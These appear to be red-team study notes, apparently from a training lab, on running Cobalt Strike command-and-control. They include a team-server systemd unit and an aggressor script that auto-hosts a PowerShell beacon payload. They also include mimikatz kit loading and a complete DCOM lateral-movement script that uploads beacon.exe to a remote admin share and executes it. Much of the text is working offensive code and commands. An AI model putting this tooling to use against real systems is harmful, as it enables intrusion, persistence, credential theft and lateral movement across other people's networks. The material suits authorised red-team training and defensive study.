C2 with Cobalt Strike

starting the team server

  • go to attacker desktop
  • select team server
    • cd cobaltstrike
    • start tmux
    • sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile
    • 10.50.5.50 : ip of the attacker linux VM
  • launch cobalt strike client to connect to team server

configuration

open client

  • cobalt-strike → preferences
    • dark mode
    • GUI font, Console

listeners

Listen for incoming beacons

typelistener
egresshttp/s, dns
peer-to-peersmb, raw tcp

setup team server as a service

To easen startup

[Unit]
Description=Cobalt Strike Team Server
After=network.target
StartLimitIntervalSec=0
 
[Service]
Type=simple
Restart=always
RestartSec=1
User=root
WorkingDirectory=/home/attacker/cobaltstrike
ExecStart=/home/attacker/cobaltstrike/teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile
 
[Install]
WantedBy=multi-user.target

aggressor scripts / headless cobaltstrike

  • listeners will automatically be recovered during start
  • but payloads won’t, this is problematic for persistence
  • we can fix this by using an aggressor script:
# Connected and ready
on ready {
 
    # Generate payload
    $payload = artifact_payload("http", "powershell", "x64");
 
    # Host payload
    site_host("10.10.5.50", 80, "/a", $payload, "text/plain", "Auto Web Delivery (PowerShell)", false);
}

you can test this with

attacker@ubuntu ~/cobaltstrike> ./agscript 127.0.0.1 50050 headless Passw0rd! host_payloads.cnaS

and add this to the systemd start up service through:

ExecStartPost=/bin/sh -c '/usr/bin/sleep 30; /home/attacker/cobaltstrike/agscript 127.0.0.1 50050 headless Passw0rd! host_payloads.cna &'

beacons

payloads

  • html application (hta) → egress, x86
  • ms office macro → egress, x86 and x64
  • ..
  • windows stageless payload → only payload for p2p listeners
  • use “windows stageless generate all”

beacon commands

  • egress beacons
    • sleep <n> to set sleep period
    • dns beacons will not automatically send metadata (due to data bandwidth), you can trigger this with checkin
    • sleep 0 .. pseudo interactive
  • p2p behave differently
    • connect (tcp) or link (smb) to connect to a p2p beacon

graph view

colormeaning
greentcp
yellowsmb
purpledisconnected

Sleep time of egress beacon gets communicated to child beacons

pivot listener

  • can be created on an existing beacon
  • standard listener: connects to beacon
  • pivot listener: new beacon will connect to listener (reverse shell)
  • pivot listeners bind on 0.0.0.0
  • you can generate payloads for the pivot listener
    • commands such as spawn, elevate, jump will work

Extending CobaltStrike

mimikatz kit

$ cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/mimikatz
$ ./build.sh /mnt/c/Tools/cobaltstrike/mimikatz

load mimikaty.cna via cobalt strike → script manager (Load)

integrate more jump and remote-exec targets

Create a new file dcom.cna:

sub invoke_dcom
{
    local('$handle $script $oneliner $payload');

    # acknowledge this command
    btask($1, "Tasked Beacon to run " . listener_describe($3) . " on $2 via DCOM", "T1021");

    # read in the script
    $handle = openf(getFileProper("C:\\Tools", "Invoke-DCOM.ps1"));
    $script = readb($handle, -1);
    closef($handle);

    # host the script in Beacon
    $oneliner = beacon_host_script($1, $script);

    # generate stageless payload
    $payload = artifact_payload($3, "exe", "x64");

    # upload to the target
    bupload_raw($1, "\\\\ $+ $2 $+ \\C$\\Windows\\Temp\\beacon.exe", $payload);

    # run via powerpick
    bpowerpick!($1, "Invoke-DCOM -ComputerName  $+  $2  $+  -Method MMC20.Application -Command C:\\Windows\\Temp\\beacon.exe", $oneliner);

    # link if p2p beacon
    beacon_link($1, $2, $3);
}

beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Beacon payload", &invoke_dcom);

beacon object files (BOFs)

  • new commands that can be executed on the server
#include <windows.h>
#include "beacon.h"
 
void go(char * args, int len)
{
    BeaconPrintf(CALLBACK_OUTPUT, "Hello World");
}

Build it with x86_64-w64-mingw32-gcc -c hello-world.c -o hello-world.o and run it with inline-execute hello-world.o

You can integrate them with aggressor script:

alias hello-world {
    local('$handle $bof $args');
    
    # read the bof file (assuming x64 only)
    $handle = openf(script_resource("hello-world.o"));
    $bof = readb($handle, -1);
    closef($handle);
    
    # print task to console
    btask($1, "Running Hello World BOF");
    
    # execute bof
    beacon_inline_execute($1, $bof, "go");
}

# register a custom command
beacon_command_register("hello-world", "Execute Hello World BOF", "Loads hello-world.o and calls the \"go\" entry point.");

example BOF files

malleable command & control

  • configures communication patternsS
  • we can add parameters (e.g. HTTP GET parameters)
  • this can be used to customize the HTTP beacon traffic to simulate specific threats